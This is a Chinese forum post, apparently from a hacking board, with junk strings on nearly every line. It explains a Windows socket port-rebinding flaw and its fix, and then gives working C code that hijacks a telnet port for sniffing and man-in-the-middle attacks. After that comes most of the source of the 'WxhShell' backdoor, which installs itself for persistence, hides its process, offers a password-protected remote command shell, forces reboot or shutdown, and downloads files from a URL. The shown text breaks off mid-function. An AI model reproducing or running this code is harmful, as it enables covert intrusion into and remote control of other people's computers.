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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @5WgqB  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *I0Tbc O  
J1bA2+5.*e  
  saddr.sin_family = AF_INET; $(ewk):  
u_PuqRcs  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0n.S,3|  
P.djd$#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); baee?6  
+iy7e6P  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b.s9p7:J  
ibJHU@l  
  这意味着什么?意味着可以进行如下的攻击: 3\AM=`  
7 {f_fkbs  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [*)Z!)  
ZPHXzi3j  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {XgnZ`*  
5o#Yt  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FW8-'~  
h>alGLN>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1G;8MPU  
%K(0W8&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1j0-9Kg'  
LvJGvj  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 JQ@fuo %  
[|[>}z:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q]\X~ 9#  
JS2nXs1  
  #include ,m^;&&  
  #include B<7/,d'  
  #include =oX>Ph+ P  
  #include    1DE@N1l  
  DWORD WINAPI ClientThread(LPVOID lpParam);   eWvo,4  
  int main() MAqLIf<G  
  {  QV qK  
  WORD wVersionRequested; QK; T~ _k  
  DWORD ret; _n"Ae?TP  
  WSADATA wsaData; fj>C@p  
  BOOL val; ymWgf 6r<  
  SOCKADDR_IN saddr; ;;Ds  
  SOCKADDR_IN scaddr; {fV}gR2  
  int err; xY\ 0 zQ  
  SOCKET s; auHFir 8f  
  SOCKET sc; /\Z J   
  int caddsize; e8}Ezy"^  
  HANDLE mt; MgJ36zM  
  DWORD tid;   BI2; ex  
  wVersionRequested = MAKEWORD( 2, 2 ); <YFY{VC(  
  err = WSAStartup( wVersionRequested, &wsaData ); ]3B%8  
  if ( err != 0 ) { <?h%k"5  
  printf("error!WSAStartup failed!\n"); 7\XE,;4>  
  return -1; 9b;A1gu  
  } "w_N' -}#  
  saddr.sin_family = AF_INET; -"Q-H/qh  
   LO:fJ{ -  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \*0yaSQF  
Bfr'Zdw  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iWLa>z|,  
  saddr.sin_port = htons(23); ]XA4;7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,FZT~?  
  { W `z 0"  
  printf("error!socket failed!\n"); :q#K} /  
  return -1; xd-XWXc  
  } 9}29&O  
  val = TRUE; )US:.7A[.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2+o |A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) o.-C|IXG  
  { |J0Q,F]T  
  printf("error!setsockopt failed!\n"); ' GG=Ebt  
  return -1; G{9X)|d  
  } is?2DcSl5  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gRJfX %*F  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |o<8}Nja6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *[+)7  
%Sk@GNI_  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4~z?"  
  { ?BA^YF  
  ret=GetLastError(); PX(p X>  
  printf("error!bind failed!\n"); aqU' T  
  return -1; =Gk/k}1  
  } &~e$:8 +  
  listen(s,2); :_kAl? eJ  
  while(1) J;$N{"M  
  { ,`A?!.K$  
  caddsize = sizeof(scaddr); " =] -%B  
  //接受连接请求 *&Lq!rFS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Cx_Q: 6T  
  if(sc!=INVALID_SOCKET) p4K.NdUH  
  { o4b~4 h{%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ]aryV?!6  
  if(mt==NULL) JUAS$Y  
  { C0*@0~8$9  
  printf("Thread Creat Failed!\n"); hsKmnH@#  
  break; f~{}zGTM:  
  } {yA$V0`N{  
  } Q&'}BeUbm  
  CloseHandle(mt); X+k}2HvNG  
  } cLY c6  
  closesocket(s); qU6nJi+-I  
  WSACleanup(); 1xE]6he4{T  
  return 0; 3jH\yXj  
  }   k n[Y   
  DWORD WINAPI ClientThread(LPVOID lpParam) Va VN  
  { in`aGFQO  
  SOCKET ss = (SOCKET)lpParam; )6KMHG  
  SOCKET sc; wd(Hv  
  unsigned char buf[4096]; !R-z%  
  SOCKADDR_IN saddr; s@hRqGd:  
  long num; D}C,![   
  DWORD val; !QI\Fz?  
  DWORD ret; 8vSse  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^D`v3d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W1B)]IHc  
  saddr.sin_family = AF_INET; 9[c%J*r   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8X|r4otn4  
  saddr.sin_port = htons(23); vIl+#9L0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^ci3F<?Q=  
  { 1?*  
  printf("error!socket failed!\n"); 0 [?ny`Y  
  return -1; &UCsBqIY  
  } *=V7@o  
  val = 100; *'Y@3vKE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |t iUej  
  { &N~ZI*^  
  ret = GetLastError(); UO*Ymj 1  
  return -1; jn >d*9u  
  } ^.k |SK`U  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) XdLCbY  
  { #GDe0 8rOw  
  ret = GetLastError(); {U<xdG  
  return -1; `U#55k9^5  
  } Z+j\a5d?,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `@[c8j7  
  { 4wd& 55=2  
  printf("error!socket connect failed!\n"); +YLejjQ  
  closesocket(sc); zA+~7;7E  
  closesocket(ss); ,lA.C%4au~  
  return -1; P}ok*{"J<>  
  } N,2s?Y_!  
  while(1) V7G7&'  
  { {!|}=45Z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 DrnJ;Hi"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 m-^ 8W[r+_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i wxVl)QL  
  num = recv(ss,buf,4096,0); )[mwP.T=  
  if(num>0) ay "'#[  
  send(sc,buf,num,0); \I"Z2N>^z  
  else if(num==0) ]?x: Qm'yo  
  break; \0lnxLA  
  num = recv(sc,buf,4096,0); *BuUHjTv  
  if(num>0) @/ZF` :   
  send(ss,buf,num,0); oI)GKA_Ng7  
  else if(num==0) ?Kvl!F!`  
  break; p~noM/*2r  
  } uZfnzd)c  
  closesocket(ss); 3d<HN6&U  
  closesocket(sc); L-B<nl  
  return 0 ; .s+aZwTMT  
  } |#1(Z-}  
/ XnhmqWm%  
Y6,Rj:8  
========================================================== 1+-_s  
FOq1>>a0  
下边附上一个代码,,WXhSHELL c wg !j!l  
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========================================================== ,rJXy_  
A)%A!  
#include "stdafx.h" [,2|Flf e  
bAKiq}xG%i  
#include <stdio.h> Ig3;E+*>  
#include <string.h> Bs?7:kN(  
#include <windows.h> 1]orUF&_  
#include <winsock2.h> N2.AKH  
#include <winsvc.h> :Mm3 gW)  
#include <urlmon.h> Y"-^%@|p  
k} ]T;|h]  
#pragma comment (lib, "Ws2_32.lib") s"Pf+aTW  
#pragma comment (lib, "urlmon.lib") n,B,"\fw  
>^XBa*4;Y  
#define MAX_USER   100 // 最大客户端连接数 P/EM :  
#define BUF_SOCK   200 // sock buffer 3~nnCR[R  
#define KEY_BUFF   255 // 输入 buffer F u&EhGm6  
>#,G}xf  
#define REBOOT     0   // 重启 6#IU*  
#define SHUTDOWN   1   // 关机 /axIIfx-  
G$ _yy:  
#define DEF_PORT   5000 // 监听端口 s'kDk2r  
}%Bl>M  
#define REG_LEN     16   // 注册表键长度 ^v.,y3  
#define SVC_LEN     80   // NT服务名长度 lA>DS#_  
f!O{%ev  
// 从dll定义API `--TP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A^q[N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?c0xRO%y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _`64gS}^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !"8fdSfg w  
gJ2>(k03y  
// wxhshell配置信息 l NQcYv  
struct WSCFG { l}$ U])an#  
  int ws_port;         // 监听端口 R(n^)^?  
  char ws_passstr[REG_LEN]; // 口令 E ;<l(.Ar  
  int ws_autoins;       // 安装标记, 1=yes 0=no  o x+ 3U  
  char ws_regname[REG_LEN]; // 注册表键名 <7-J0btV  
  char ws_svcname[REG_LEN]; // 服务名 f>aRkTHf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4)1s M=u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +la2n(CAK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pv&y91  
int ws_downexe;       // 下载执行标记, 1=yes 0=no sZW^ !z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h6} lpd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pZtu&R%GU  
ew"v{=X  
}; e9Nk3Sj]  
F<!)4>2@  
// default Wxhshell configuration /4xki_}  
struct WSCFG wscfg={DEF_PORT, 'uq#ai[5I  
    "xuhuanlingzhe", 4.IU!.Uo  
    1, L[=a/|)TBV  
    "Wxhshell", 5Hcf;P7   
    "Wxhshell", Q>n|^y6  
            "WxhShell Service", MNSbtT*^  
    "Wrsky Windows CmdShell Service", (PfqRk1Y  
    "Please Input Your Password: ", >3c@x  
  1, msVO H%wH  
  "http://www.wrsky.com/wxhshell.exe", LVJxn2x6  
  "Wxhshell.exe" ,_"AT! r  
    }; ;A#`]-i C  
[,TkFbDq"J  
// 消息定义模块 JwJ7=P=c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }d<}FJ-,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ve\X3"p#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lkBdl#]9  
char *msg_ws_ext="\n\rExit."; F^hBtfz  
char *msg_ws_end="\n\rQuit."; W"Gkq!3u{  
char *msg_ws_boot="\n\rReboot..."; }g4 M2|  
char *msg_ws_poff="\n\rShutdown..."; Y-7^o@y  
char *msg_ws_down="\n\rSave to "; q7"7U=W0  
-&<Whhs.@  
char *msg_ws_err="\n\rErr!"; ^a#X9  
char *msg_ws_ok="\n\rOK!"; ?2>FdtH  
B, 9w0  
char ExeFile[MAX_PATH]; 'Y]mOD^ p  
int nUser = 0; kYLM&&h  
HANDLE handles[MAX_USER]; f]`vRvbe  
int OsIsNt; S{Er?0wm.R  
y~75r\"R  
SERVICE_STATUS       serviceStatus; &gjF4~W]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qbv#I;  
< P`u}  
// 函数声明 4Z/f@ZD  
int Install(void); ",!1m7[wF  
int Uninstall(void); :sC qjz  
int DownloadFile(char *sURL, SOCKET wsh); Fy.\7CL>  
int Boot(int flag); 9~l hsH  
void HideProc(void); yrR1[aT  
int GetOsVer(void); !%c'$f/  
int Wxhshell(SOCKET wsl); .-<k>9S7_  
void TalkWithClient(void *cs); ,mj@sC>  
int CmdShell(SOCKET sock); ~q~MoN<R  
int StartFromService(void); \|K;-pL  
int StartWxhshell(LPSTR lpCmdLine); Uf,4  
ai{Sa U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a<@N-Exr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G#?Sfn O0  
P LueVz  
// 数据结构和表定义 e#E2>Bj;  
SERVICE_TABLE_ENTRY DispatchTable[] = lEV]4 t_H  
{ kcQ'$<Mz<  
{wscfg.ws_svcname, NTServiceMain}, FXs*vg`  
{NULL, NULL} b?Ki;[+O  
}; {Lm~r+ U  
&\Amn?Iq  
// 自我安装 8HP6+c%  
int Install(void) 6,9o>zT%H  
{ ~j<+k4I~  
  char svExeFile[MAX_PATH]; 3"P }n  
  HKEY key; 5sb\r,kW  
  strcpy(svExeFile,ExeFile); 1 CHeufQ  
Ry|!pV  
// 如果是win9x系统,修改注册表设为自启动 8KRba4[  
if(!OsIsNt) { f/V 2f].  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7P9=)$(EH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1Uqu> '  
  RegCloseKey(key); t 89!Ihk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A]DTUdL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0$-xw  
  RegCloseKey(key); HvVts\f  
  return 0; >ss/D^YS  
    } ;v$4$D]L  
  } /FIE:Io  
} $ >EYhLBa  
else { MX@_=Sp-  
l~ M_S<4n  
// 如果是NT以上系统,安装为系统服务 A7n\h-b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Yc'kvj)_M  
if (schSCManager!=0) yfm^?G|sW  
{ 8)4P Ll  
  SC_HANDLE schService = CreateService o";Z$tAJkC  
  ( zF`c8Tsx])  
  schSCManager, rf$X>M=G  
  wscfg.ws_svcname, ^g`&7tX  
  wscfg.ws_svcdisp, +gLPhX:`  
  SERVICE_ALL_ACCESS, ? 8LXP  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U\R}`l  
  SERVICE_AUTO_START, kP?KXT3y  
  SERVICE_ERROR_NORMAL, et }T %~T  
  svExeFile, [AW" D3  
  NULL, R[;z X(y  
  NULL, V#`fs|e;y  
  NULL, sxt-Vs7+6  
  NULL, IhA*"  
  NULL (e[}/hf6  
  ); 8:/e GM  
  if (schService!=0) /IM#.v  
  { DuOG {  
  CloseServiceHandle(schService); )'4k|@8|  
  CloseServiceHandle(schSCManager); #/Eb*2C`b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W]5USFan  
  strcat(svExeFile,wscfg.ws_svcname); TqddOp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y8rm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /<]{KI  
  RegCloseKey(key); ?G -e](]^<  
  return 0; _C`K*u 6Z<  
    } :at$HCaK  
  } zNIsf "  
  CloseServiceHandle(schSCManager); 1SR+m>pL  
} r}jGUe}d  
} gwWN%Z"  
>b]S3[Q(  
return 1; t>[KVVg W  
} (4Zts0O\  
/\W Qx e  
// 自我卸载 7K5P8N ,  
int Uninstall(void) P`e!Z:  
{ 6CMub0   
  HKEY key; "1HRLci  
k+DR]icv  
if(!OsIsNt) { 'FS?a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :M6+p'`j  
  RegDeleteValue(key,wscfg.ws_regname); 1)[]x9]^q'  
  RegCloseKey(key); G3{=@Z1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1rDqa(7  
  RegDeleteValue(key,wscfg.ws_regname); =%> oR  
  RegCloseKey(key); NwZ@#D#[ Y  
  return 0; aM$W*- Y  
  } 6MxKl D7kl  
} Yl.0aS  
} [ U w i  
else { R]i7 $}n  
x4/M}%h!;B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4X *>H  
if (schSCManager!=0) U8G%YGMG.4  
{ txPIG/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  BouTcC  
  if (schService!=0) oun;rMq  
  { b&5lYp"d  
  if(DeleteService(schService)!=0) { UF@XK">  
  CloseServiceHandle(schService); P'O#I}Dmw<  
  CloseServiceHandle(schSCManager); W[^qa5W<FB  
  return 0; C|?o*fQ  
  } lf!FTm7  
  CloseServiceHandle(schService); C(K; zo*S(  
  } m ]cHF.:5  
  CloseServiceHandle(schSCManager); ;JRs?1<='  
} q.()z(M 7  
} v= N!SaK{  
w&x!,yd;  
return 1; Bdu&V*0g  
} {je-I9%OK  
Qr$;AZ G  
// 从指定url下载文件 "^1L'4'S  
int DownloadFile(char *sURL, SOCKET wsh) Y}vr>\  
{ E{n:J3_X^d  
  HRESULT hr; A l`e/a  
char seps[]= "/"; @S 7sr-  
char *token; nM0[P6p  
char *file; =lVK IW  
char myURL[MAX_PATH]; +|ycvHd  
char myFILE[MAX_PATH]; _BDK`D  
+tD[9b! m  
strcpy(myURL,sURL); wW%4d  
  token=strtok(myURL,seps);  *tAg*$  
  while(token!=NULL) gc?#pP  
  { 3dDX8M?  
    file=token; kn/Ao}J74z  
  token=strtok(NULL,seps); YXI'gn2b#  
  } l3IWoa&sh  
>(snII  
GetCurrentDirectory(MAX_PATH,myFILE); bl'z<S, '  
strcat(myFILE, "\\"); <~)kwq'  
strcat(myFILE, file); jH6&q~#  
  send(wsh,myFILE,strlen(myFILE),0); J;prC  
send(wsh,"...",3,0); SC- $B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UDL RCS8i  
  if(hr==S_OK) fhCc! \  
return 0; Q8_ d)t|  
else P06R JE  
return 1; ?]4>rl}  
o,P.& m{?  
} qBT.x,$  
=ID 2  
// 系统电源模块 >X51$wBL  
int Boot(int flag) %b^OeWip  
{ MW+b;0U`#  
  HANDLE hToken; A3ZY~s#Iv  
  TOKEN_PRIVILEGES tkp; YQS5P#  
i>joT><B  
  if(OsIsNt) { z-c}NdW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N72Yq)(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L =8+_0  
    tkp.PrivilegeCount = 1; ?Q72;/$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; i:l<C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ":nQgV\ 9  
if(flag==REBOOT) { $*W6A/%O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~M(5Ho  
  return 0; _fwb!T}$  
} h/,${,}J  
else { JO@|*/mL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LE%7DW(  
  return 0; _H^^y$+1  
} SKW%X8  
  } L-9~uM3@\  
  else { ys#i@  
if(flag==REBOOT) { E.iSWAJ(w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) & V)6!,rb  
  return 0; -$,%f?  
} 3bNIZ#`|MB  
else { (4%YHS8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ve/xnn]'  
  return 0; ?r2#.W  
} $8crN$ye  
} 0=="^t_  
c1xrn4f@a  
return 1; *;XWLd#  
} Y+3!f#exm  
$:of=WTY(  
// win9x进程隐藏模块 8#D:H/`'  
void HideProc(void) `4 y]Z)  
{ 8#&q$kE  
s-ZI ^I2\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K2<~(78C  
  if ( hKernel != NULL ) z~\t|Z]G,|  
  { @K:N,@yq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1>Q'R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <vUVP\u~$  
    FreeLibrary(hKernel); lW 81q2n  
  } P%MfCpyj  
p\ Lq}tk<  
return; {W\T"7H  
} SAY f'[|w  
4R8G&8b  
// 获取操作系统版本 zW8*EE+,  
int GetOsVer(void) d` Sr4c  
{ +B|7p9qy  
  OSVERSIONINFO winfo; 28OWNS M=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -TV?E%r  
  GetVersionEx(&winfo); cc44R|Kr$$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O6].*25  
  return 1; zT ZVehEe  
  else 7_# 1Ec|;  
  return 0; 4c+$%pq5  
} ^W7X(LQ*+  
'>(.%@  
// 客户端句柄模块 1w"8~Z:UXV  
int Wxhshell(SOCKET wsl) dC<LDxlv  
{ vEG'HOP  
  SOCKET wsh; fKtV '/X;Q  
  struct sockaddr_in client; RL[E X5U  
  DWORD myID; .O0O-VD+a  
9GdB#k6W`  
  while(nUser<MAX_USER) 3u33a"nL8  
{ 7}_!  
  int nSize=sizeof(client); RB?V7uX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T%R:NQf  
  if(wsh==INVALID_SOCKET) return 1; yE} dj)wd  
5yVkb*8HS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wLV~F[:  
if(handles[nUser]==0) ~l~Tk6EM  
  closesocket(wsh); [\Qr. 2  
else 7P7b8 ]  
  nUser++; ~LQ[4h<J !  
  } voe7l+Xk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dr q hQ  
yA[({2%  
  return 0; x&A vUJ  
} +!0eu>~_&  
CCDDK L]N:  
// 关闭 socket !Ss HAE|  
void CloseIt(SOCKET wsh) 5HS~op2n/  
{ 0D~ C 5}/4  
closesocket(wsh); tD$lNh^  
nUser--; 2-0$FQ@/  
ExitThread(0); GYB+RU}],  
} 9F;S+)H4  
q|)Q9+6$+  
// 客户端请求句柄 ]+H ?@*b`  
void TalkWithClient(void *cs) 9tg)Mo%  
{ /( 6|{B  
W >(vYU  
  SOCKET wsh=(SOCKET)cs; +'oX  
  char pwd[SVC_LEN]; IK^~X{I?  
  char cmd[KEY_BUFF]; Bf4%G,o5  
char chr[1]; a1N!mQ^  
int i,j; Wd(86idnc  
}vt%R.u  
  while (nUser < MAX_USER) { efz&@|KR  
$WW)bP d4^  
if(wscfg.ws_passstr) { lnbmoHv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'YSuQP>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G"y.Z2$  
  //ZeroMemory(pwd,KEY_BUFF); PKq-@F%X  
      i=0; 8X&Ya =  
  while(i<SVC_LEN) { "?.~/@  
uM(UO,X  
  // 设置超时 "zZI S6j  
  fd_set FdRead; 3,aN8F1;C  
  struct timeval TimeOut; y~<@x.  
  FD_ZERO(&FdRead); dv N<5~  
  FD_SET(wsh,&FdRead); ;9uRO*H?T  
  TimeOut.tv_sec=8; ~=y3Gd B3  
  TimeOut.tv_usec=0; !#?kWAU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J0220 _  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z"F*\xa  
=fyyqb 4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?HR%bn gK  
  pwd=chr[0]; X21dX`eMN  
  if(chr[0]==0xd || chr[0]==0xa) { 84&XW  
  pwd=0; ~y0R'oi  
  break; uL?vG6% ^1  
  } 7]2 2"mc  
  i++; d @rs3Q1z  
    } t"s5\;IJ  
UU@fkk  
  // 如果是非法用户,关闭 socket 8}BBOD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PoD^`()FR{  
} '=cKU0 G#  
`EMi0hm&H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *i<\iMoW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S-Ai3)t6  
I+,SZ]n  
while(1) { $EBb"+Y'T  
Jfg7\&|  
  ZeroMemory(cmd,KEY_BUFF); NO>k  
]7qiUdxt:  
      // 自动支持客户端 telnet标准   fUcLfnr  
  j=0; d34Y'r  
  while(j<KEY_BUFF) { 8V5a%2eV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;6DnId2Zh  
  cmd[j]=chr[0]; xX@FWAj  
  if(chr[0]==0xa || chr[0]==0xd) { =3ADT$YHd  
  cmd[j]=0; AZZRa69=  
  break; 3x5!a5$Y  
  }  U w Eiz  
  j++; U=!@Db5k~  
    } &2.+I go|G  
C}CKnkMMD  
  // 下载文件 V,LVB_6  
  if(strstr(cmd,"http://")) { m4/}Jx[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J4yt N3  
  if(DownloadFile(cmd,wsh)) QB1M3b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q_}/ Pn$1  
  else ; Zq/eiB  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }e=e",eAT  
  } 5()Fvae{k  
  else { yr4ou  
MEU[%hty_  
    switch(cmd[0]) { J_  V,XO  
  zLek& s&-  
  // 帮助 +Z+ExS<#z  
  case '?': { Fh`-(,e?5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W(@>?$&  
    break; k:P$LzIB  
  } %2yAvGa1  
  // 安装 ]*ov&{'  
  case 'i': { D<nxr~pQ  
    if(Install()) !A[S6-18%-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c#\-%h  
    else a c6*v49  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Fx&)kegTo  
    break; iVeQ]k(u  
    } 4r*Pa(;y  
  // 卸载 6ojo##j  
  case 'r': { oCJbkt=  
    if(Uninstall()) !Z/$}xxj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H`D f  
    else s)tpr   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )vHi|~(   
    break; V} bM!5 H  
    } R=35 7^[R  
  // 显示 wxhshell 所在路径 %N{sD[^  
  case 'p': { QGPR.<D)B  
    char svExeFile[MAX_PATH]; !0dX@V'r  
    strcpy(svExeFile,"\n\r"); K^ 6+Ily  
      strcat(svExeFile,ExeFile); v>at/ef  
        send(wsh,svExeFile,strlen(svExeFile),0); v*L '{3f  
    break; Ed=}PrE  
    } $,P\)</ VR  
  // 重启 =>YvA>izE  
  case 'b': { !`C%Fkq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e\~l!f'z  
    if(Boot(REBOOT)) r{V.jZ%p'Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;o >WXw  
    else { Ej|A ; &E  
    closesocket(wsh); m0Z7N5v)  
    ExitThread(0); 1NGyaI  
    } ~'[jBn)  
    break; 3M$X:$b  
    } Dqr9Vv  
  // 关机 6UI>GQ  
  case 'd': { B"[{]GP BY  
